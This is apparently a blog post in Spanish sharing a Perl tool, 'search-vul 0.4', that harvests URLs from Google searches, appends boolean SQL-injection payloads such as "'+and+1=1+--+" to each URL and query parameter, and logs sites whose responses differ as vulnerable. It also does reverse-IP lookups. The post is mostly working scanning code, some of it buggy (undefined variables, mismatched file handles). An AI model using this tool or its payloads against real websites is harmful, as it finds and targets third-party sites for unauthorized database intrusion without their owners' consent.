Bueno aquí mi tool, search-vul 0.4, con algunas optimaciones, arreglos, y detecta si existen varios Query_String en la url y un help para su uso xD.
=pod
Autor: Yoyahack
name: search-vul
verion: 0.4
Mail: yoyahack@undersecurity.net
Web: www.yoyahack.blogspot.com
Webs: www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
_ _
___ ___ __ _ _ __ ___| |__ __ ___ _| |
/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
\__ \ __/ (_| | | | (__| | | |_____\ V /| |_| | |
|___/\___|\__,_|_| \___|_| |_| \_/ \__,_|_|
=cut
#opciones
=pod
--google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
--googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
--vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
--dns <site> -> Reverse dns
=cut
#Modulos
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;
#Code
print q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································
);
print "Usage: perl $0 --opcion <xxx>\n";
print q(
--google <busqueda> --num <numero>
--googles <busqueda> --num <numero>
--vul <file.txt>
--dns <site>
--help
);
#Opciones
GetOptions("google=s" => \$google,
"googles=s" => \$googles,
"vul=s" => \$vul,
"dns=s" => \$dns,
"num=s" => \$num,
"help" => \$help);
if($google & $num){&google};
if($googles & $num ){&googles};
if($vul){&vul};
if($dns){&dns};
if($help){&help}
sub google{
###########################################################
my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
my $result = get($peti);
###########################################################
while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
my $enlace = $1;
open (SE,">>busqueda.txt");
print SE "$enlace\n";
close (SE);
print "$enlace\n";
}
}
sub googles{
###########################################################
my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
foreach $go(@googles)
{
chomp($go);
###########################################################
my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
my $result1 = get($peti1);
###########################################################
while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
my $enlace1 = $1;
open (SS,">>googles.txt");
print SS "$enlace1\n";
close (SS);
print "$enlace1\n";
}
}
}
sub vul{
###########################################################
open(PAG,$vul) || die "Archivo de texto no encontrado";
@urls=<PAG>;
close (PAG);
foreach $pag(@urls)
{
chomp($pag);
###########################################################
my $iny1 = $pag."'+and+1=1+--+";
my $iny2 = $pag."'+and+1=2+--+";
###########################################################
$pag .= '&';
if($pag =~ m/&{2}/ig){
}else{
while ($pag =~ m/\&/g) {
$regex = $pag;
substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
my $tofo3 = scalar(split("\n",get($regex)));
$regex2 = $pag;
substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
my $tofo4 = scalar(split("\n",get($regex2)));
if($tofo3 ne $tofo4 || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL "$pag\n";
close (SS);
}
}
}
##########################################################
my $fuente = get($iny1);
my $tofo = scalar(split("\n",$fuente));
my $result = get($iny2);
my $todo = scalar(split("\n",$result));
##########################################################
if($tofo ne $todo || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································
);
print VUL "$pag\n";
close (SS);
print "[+]$pag es vurnerable a SQLI\n";
print "!guardada exitosamente\n";
} else {
print "\n$pag no es vurnerable a SQLI\n";
}
}
}
sub dns{
my $result = get("http://www.ip-adress.com/reverse_ip/$dns");
while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){
open (DNS,">>reverse_dns.txt");
print DNS "$1\n";
close (DNS);
print "$1\n";
}
if ($result =~ /valid IP address/) {
print "Not found\n";
}
}
sub help {
&erase;
print q(
##############################
1 --google <busqueda> --num <numero>
Buscar paginas de google.com y indica el numero de pagina a buscar
perl script.pl --google ola --num 10
##############################
#////
##############################
2 --googles <busqueda> --num <numero>
perl script.pl --googles ola --num 10
Buscar pagina de distinto servidores googles
##############################
#////
##############################
3 --vul <file.txt>
perl script.pl --vul archivo.txt
Escanea un archivo que contenga distinta pagina y verifica las vurnerables
##############################
#////
##############################
4 --dns <site>
perl script.pl --dns www.pagina.com
Reverse dns
##############################
#////
);
}
sub erase{
$os = "$^O";
if ("linux" == "$os"){
return system('clear');
}else{
return system('cls');}
}
sub get {
my $pagina = $_[0];
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
my $busqueda = new HTTP::Request GET => $pagina;
my $resultado = $ua->request($busqueda);
$ua->timeout(7) || die "Conecction faield";
my $result = $resultado->content();
}
Publicar un comentario